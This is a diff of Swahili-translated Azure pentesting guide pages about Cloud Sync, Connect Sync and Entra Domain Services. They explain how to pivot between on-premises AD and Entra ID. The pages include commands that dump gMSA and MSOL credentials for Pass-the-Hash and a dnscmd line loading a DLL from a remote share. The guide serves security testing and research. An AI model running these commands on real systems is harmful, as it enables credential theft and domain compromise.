- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika domain ya on-premise. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Connect Agent, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi.
- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya on-premises. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.
- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi.
- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.
## Pivoting
### AD --> Entra ID
- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu **pata nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye directory ya Entra ID (kawaida ni dakika chache tu)**.
- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**.
Hivyo unaweza kwa mfano
- Pata akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID.
- Kabiliana na akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID.
- Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
- Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
Ili kupata akidi za **`provAgentgMSA`**:
Ili kukabili akidi za **`provAgentgMSA`**:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio la DCSync dhidi ya AD.
Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD.
Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia:
@@ -81,7 +81,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
{{#endref}}
> [!NOTE]
> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika usanidi wa Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya kidinamik** yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia:
> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya kidinamik** yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -127,14 +127,14 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
### Entra ID --> AD
- Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kupitia wakala huo.
- Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kwa kutumia wakala huo.
- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZEKANI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walisawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Makundi haya yanaweza kuwa na watumiaji wa ndani waliosawazishwa na / au makundi ya usalama yaliyoundwa na wingu.
> - Akaunti za watumiaji wa ndani ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja.
> - Makundi haya yanaweza kuwa na watumiaji waliosawazishwa wa on-premises na / au makundi ya usalama yaliyoundwa na wingu.
> - Akaunti za watumiaji wa on-premises ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja.
Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji atahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).
Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).
### Enumeration
```bash
@@ -148,4 +148,4 @@ az rest \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,12 +1,12 @@
# Az - Connect Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na kusawazisha data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Huduma za usawazishaji za Microsoft Entra Connect (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na usawazishaji wa data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID.
Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala katika seva ndani ya mazingira yako ya AD. Wakala huyu atakuwa ndiye anayeshughulikia usawazishaji kutoka upande wa AD.
Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala kwenye seva ndani ya mazingira yako ya AD. Wakala huyu atakuwa ndiye anayeshughulikia usawazishaji kutoka upande wa AD.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
@@ -18,27 +18,27 @@ az-cloud-sync.md
### Principals Generated
- Akaunti **`MSOL_<installationID>`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapata jukumu la **Directory Synchronization Accounts** (tazama [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za replication (DCSync) katika AD ya ndani**.
- Akaunti **`MSOL_<installationID>`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Directory Synchronization Accounts** (tazama [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za replication (DCSync) katika AD ya ndani**.
- Hii inamaanisha kwamba mtu yeyote anayepata akaunti hii ataweza kuathiri eneo la ndani.
- Akaunti ya huduma iliyosimamiwa **`ADSyncMSA<id>`** inaundwa katika AD ya ndani bila ruhusa maalum za msingi.
- Katika Entra ID, Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** inaundwa kwa cheti.
- Katika Entra ID, Msingi wa Huduma **`ConnectSyncProvisioning_ConnectSync_<id>`** unaundwa kwa kutumia cheti.
## Synchronize Passwords
### Password Hash Synchronization
Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa nywila za hash katika wakala wa Microsoft Entra Connect Sync uliosakinishwa katika seva ya AD.
Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa nywila za hash katika wakala wa Microsoft Entra Connect Sync uliosakinishwa kwenye seva ya AD.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa mseto. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Usawazishaji wa nywila za hash** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa mseto. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
Kimsingi, **watumiaji** wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hashes** **za asili** hazitumwi kwa Azure AD.
Kimsingi, **watumiaji** wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hash za asili** hazitumwi kwa Azure AD.
**Usawazishaji wa hashes** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji unafanyika kwenye Azure AD**.
> [!NOTE]
> Kwa kawaida watumiaji wa vikundi vya kibali vilivyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kibali bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**.
> Kwa kawaida, watumiaji wa vikundi vilivyo na mamlaka kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vyenye mamlaka bila sifa hii au ambao wamepewa mamlaka ya juu moja kwa moja **wanaweza kusawazishwa**.
### Password Writeback
@@ -46,13 +46,13 @@ Mipangilio hii inaruhusu **kusawazisha nywila kutoka Entra ID hadi AD** wakati m
Hii ni ya kuvutia sana kuathiri AD kutoka kwa Entra ID iliyovunjwa kwani utaweza kubadilisha nywila ya "karibu" mtumiaji yeyote.
Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi fulani vya kibali hawana nakala ikiwa kikundi kina sifa ya **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa ruhusa za juu ndani ya AD bila kuhusika na vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano:
Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi vingine vya mamlaka hawana nakala ikiwa kikundi kina sifa **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa mamlaka ya juu ndani ya AD bila kuhusika na vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano:
- Watumiaji walipewa ruhusa za juu moja kwa moja.
- Watumiaji walipewa mamlaka ya juu moja kwa moja.
- Watumiaji kutoka kikundi cha **`DNSAdmins`**.
- Watumiaji kutoka kikundi **`Group Policy Creator Owners`** ambao wameunda GPOs na kuzipeleka kwa OUs wataweza kubadilisha GPOs walizounda.
- Watumiaji kutoka **`Cert Publishers Group`** ambao wanaweza kuchapisha vyeti kwa Active Directory.
- Watumiaji wa kikundi kingine chochote chenye ruhusa za juu bila sifa ya **`adminCount` kuwa 1**.
- Watumiaji wa kikundi kingine chochote chenye mamlaka ya juu bila sifa **`adminCount` kuwa 1**.
## Pivoting AD --> Entra ID
@@ -81,7 +81,7 @@ Angalia kwa **Connect Sync configuration** (ikiwa ipo):
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Kupata nywila
### Kutafuta nywila
Nywila za mtumiaji wa **`MSOL_*`** (na mtumiaji wa **Sync\_\*** ikiwa umeundwa) zime **hifadhiwa katika seva ya SQL** kwenye seva ambapo **Entra ID Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\
Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
@@ -90,11 +90,11 @@ Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
Usanidi **ulioungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD.
**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD.
Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Kutumia MSOL\_*
### Kutumia MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
@@ -121,19 +121,19 @@ Programu hii imeundwa bila kuwa na majukumu yoyote ya usimamizi wa Entra ID au A
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft password reset service
- Huduma ya kurekebisha nenosiri ya Microsoft
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Imependekezwa kwamba SP wa programu hii bado inaweza kutumika kufanya baadhi ya vitendo vya kijasiri kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi sasa.\
Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya kiongozi na kujaribu kukitumia.
Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya kiongozi na kujaribu kukitumia vibaya.
Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya kiongozi, ilielezea kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya kiongozi (kwa sababu **service principal** inaweza kila wakati kujitengenezea cheti kipya) na kisha kukitumia kudumisha uthabiti kama SP.
Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya kiongozi, ilieleza kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya kiongozi (kwa sababu **service principal** inaweza kila wakati kujitengenezea cheti kipya) na kisha kukitumia kudumisha uthabiti kama SP.
Ili kutekeleza vitendo hivi, zana zifuatazo zimechapishwa: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Katika uzoefu wangu, cheti hakihifadhiwi tena mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika.
Katika uzoefu wangu, cheti hakihifadhiwi tena katika mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika.
### Kutumia Sync\_\* [DEPRECATED]
@@ -200,4 +200,4 @@ seamless-sso.md
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,28 +1,28 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Huduma za Kikoa
Microsoft Entra Domain Services inaruhusu kuanzisha Active Directory katika Azure bila kuhitaji kusimamia Domain Controllers (kwa kweli huwezi hata kuwa na ufikiaji wao).
Microsoft Entra Domain Services inaruhusu kuanzisha Active Directory katika Azure bila kuhitaji kusimamia Domain Controllers (kwa kweli huna hata ufikiaji kwao).
Lengo lake kuu ni kukuruhusu kuendesha programu za zamani katika wingu ambazo hazina uwezo wa kutumia mbinu za uthibitishaji wa kisasa, au ambapo hutaki utafutaji wa directory kila wakati urudi kwenye mazingira ya AD DS ya ndani.
Lengo lake kuu ni kukuruhusu kuendesha programu za zamani katika wingu ambazo hazina uwezo wa kutumia mbinu za uthibitishaji wa kisasa, au ambapo hutaki utafutaji wa directory urudi kila wakati kwenye mazingira ya AD DS ya ndani.
Kumbuka kwamba ili kusawazisha watumiaji walioanzishwa katika Entra ID (na sio kusawazishwa kutoka kwa active directories nyingine) kwa huduma ya kikoa ya AD unahitaji **kubadilisha nenosiri la mtumiaji** kuwa jipya ili liweze kusawazishwa na AD mpya. Kwa kweli, mtumiaji hasawazishwi kutoka Microsoft Entra ID hadi Huduma za Kikoa hadi nenosiri libadilishwe.
Kumbuka kwamba ili kusawazisha watumiaji walioanzishwa katika Entra ID (na sio kusawazishwa kutoka kwa active directories nyingine) kwa huduma ya kikoa ya AD unahitaji **kubadilisha nenosiri la mtumiaji** kuwa jipya ili liweze kusawazishwa na AD mpya. Kwa kweli, mtumiaji hajasawazishwa kutoka Microsoft Entra ID hadi Huduma za Kikoa hadi nenosiri libadilishwe.
> [!WARNING]
> Hata kama unaunda kikoa kipya cha active directory huwezi kukisimamia kabisa (isipokuwa kwa kutumia baadhi ya makosa ya usanidi), ambayo inamaanisha kwamba kwa kawaida huwezi kuunda watumiaji katika AD moja kwa moja. Unawaunda kwa **kusawazisha watumiaji kutoka Entra ID.** Unaweza kuashiria kusawazisha watumiaji wote (hata wale waliohusishwa kutoka AD za ndani), watumiaji wa wingu pekee (watumiaji walioanzishwa katika Entra ID), au hata **kuwafanyia uchujaji zaidi**.
> Hata kama unaunda kikoa kipya cha active directory huwezi kukisimamia kabisa (isipokuwa kwa kutumia baadhi ya makosa ya usanidi), ambayo inamaanisha kwamba kwa kawaida huwezi kuunda watumiaji katika AD moja kwa moja. Unawaunda kwa **kusawazisha watumiaji kutoka Entra ID.** Unaweza kuashiria kusawazisha watumiaji wote (hata wale walio sambazwa kutoka AD za ndani), watumiaji wa wingu pekee (watumiaji walioanzishwa katika Entra ID), au hata **kuwafanyia uchujaji zaidi**.
> [!NOTE]
> Kwa ujumla, kutokana na ukosefu wa kubadilika katika usanidi wa kikoa kipya na ukweli kwamba AD mara nyingi tayari ziko ndani, hii siyo muunganiko mkuu kati ya Entra ID na AD, lakini bado ni ya kuvutia kujua jinsi ya kuathiri.
### Pivoting
Wajumbe wa kundi lililoundwa la **`AAD DC Administrators`** wanapewa ruhusa za usimamizi wa ndani kwenye VMs ambazo zimeunganishwa na kikoa kinachosimamiwa (lakini sio katika domain controllers) kwa sababu wameongezwa kwenye kundi la wasimamizi wa ndani. Wajumbe wa kundi hili pia wanaweza kutumia **Remote Desktop kuungana kwa mbali na VMs zilizounganishwa na kikoa**, na pia ni wajumbe wa makundi:
Wajumbe wa kundi lililoundwa la **`AAD DC Administrators`** wanapewa ruhusa za usimamizi wa ndani kwenye VMs ambazo zimeunganishwa na kikoa kinachosimamiwa (lakini sio kwenye domain controllers) kwa sababu wameongezwa kwenye kundi la wasimamizi wa ndani. Wajumbe wa kundi hili pia wanaweza kutumia **Remote Desktop kuungana kwa mbali na VMs zilizounganishwa na kikoa**, na pia ni wajumbe wa makundi:
- **`Denied RODC Password Replication Group`**: Hili ni kundi linalobainisha watumiaji na makundi ambayo nywila zao hazinaweza kuhifadhiwa kwenye RODCs (Read-Only Domain Controllers).
- **`Denied RODC Password Replication Group`**: Hili ni kundi linalobainisha watumiaji na makundi ambayo nenosiri zao haziwezi kuhifadhiwa kwenye RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Kundi hili linawaruhusu wajumbe kuunda Sera za Kundi katika kikoa. Hata hivyo, wajumbe wake hawawezi kutekeleza sera za kundi kwa watumiaji au kundi au kuhariri GPO zilizopo, hivyo si ya kuvutia sana katika mazingira haya.
- **`DnsAdmins`**: Kundi hili linaruhusu kusimamia mipangilio ya DNS na limekuwa likitumiwa vibaya katika siku za nyuma ili [kuinua ruhusa na kuathiri kikoa](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), hata hivyo baada ya kujaribu shambulio katika mazingira haya ilithibitishwa kwamba udhaifu umepatiwa suluhisho:
- **`DnsAdmins`**: Kundi hili linaruhusu kusimamia mipangilio ya DNS na limekuwa likitumiwa vibaya katika siku za nyuma ili [kuinua mamlaka na kuathiri kikoa](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), hata hivyo baada ya kujaribu shambulio katika mazingira haya ilithibitishwa kwamba udhaifu umepatiwa suluhisho:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -30,11 +30,11 @@ DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Kumbuka kwamba ili kutoa ruhusa hizi, ndani ya AD kundi **`AAD DC Administrators`** linakuwa mwanachama wa makundi ya awali, na pia GPO **`AADDC Computers GPO`** inawongeza kama Wasimamizi wa Mitaa wanachama wote wa kundi la kikoa **`AAD DC Administrators`**.
Kumbuka kwamba ili kutoa ruhusa hizi, ndani ya AD kundi **`AAD DC Administrators`** linafanywa kuwa mwanachama wa makundi ya awali, na pia GPO **`AADDC Computers GPO`** inaongeza kama Wasimamizi wa Mitaa wanachama wote wa kundi la kikoa **`AAD DC Administrators`**.
Kupita kutoka Entra ID hadi AD iliyoundwa na Huduma za Kikoa ni rahisi, ongeza tu mtumiaji kwenye kundi **`AAD DC Administrators`**, upate ufikiaji kupitia RDP kwa mashine yoyote/zote katika kikoa na utaweza kuiba data na pia **kuathiri kikoa.**
Kupitia Entra ID hadi AD iliyoundwa na Huduma za Kikoa ni rahisi, ongeza tu mtumiaji kwenye kundi **`AAD DC Administrators`**, upate kupitia RDP kwenye mashine yoyote/zote katika kikoa na utaweza kuiba data na pia **kuathiri kikoa.**
Hata hivyo, kupita kutoka kikoa hadi Entra ID si rahisi kwani hakuna chochote kutoka kikoa kinachosawazishwa katika Entra ID. Hata hivyo, kila wakati angalia metadata kwa VMs zote zilizounganishwa kwani utambulisho wao wa usimamizi uliotolewa unaweza kuwa na ruhusa za kuvutia. Pia **dondoa nywila za watumiaji wote kutoka kikoa** na jaribu kuzivunja ili kisha uingie katika Entra ID / Azure.
Hata hivyo, kupita kutoka kikoa hadi Entra ID si rahisi kwani hakuna chochote kutoka kikoa kinachosawazishwa kwenye Entra ID. Hata hivyo, kila wakati angalia metadata kwa VMs zote zilizounganishwa kwani utambulisho wao wa usimamizi uliotolewa unaweza kuwa na ruhusa za kuvutia. Pia **dondoa nywila za watumiaji wote kutoka kikoa** na jaribu kuzivunja ili kisha uingie kwenye Entra ID / Azure.
> [!NOTE]
> Kumbuka kwamba katika siku za nyuma, udhaifu mwingine katika AD hii iliyosimamiwa ulipatikana ambao uliruhusu kuathiri DCs, [kama hii](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Mshambuliaji anayekabili DC anaweza kwa urahisi kudumisha uwepo bila wasimamizi wa Azure kugundua au hata kuwa na uwezo wa kuondoa.
@@ -83,4 +83,4 @@ fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,13 +1,13 @@
# Az - Federation
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
>**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **mashirika kadhaa** ambayo yameanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali.
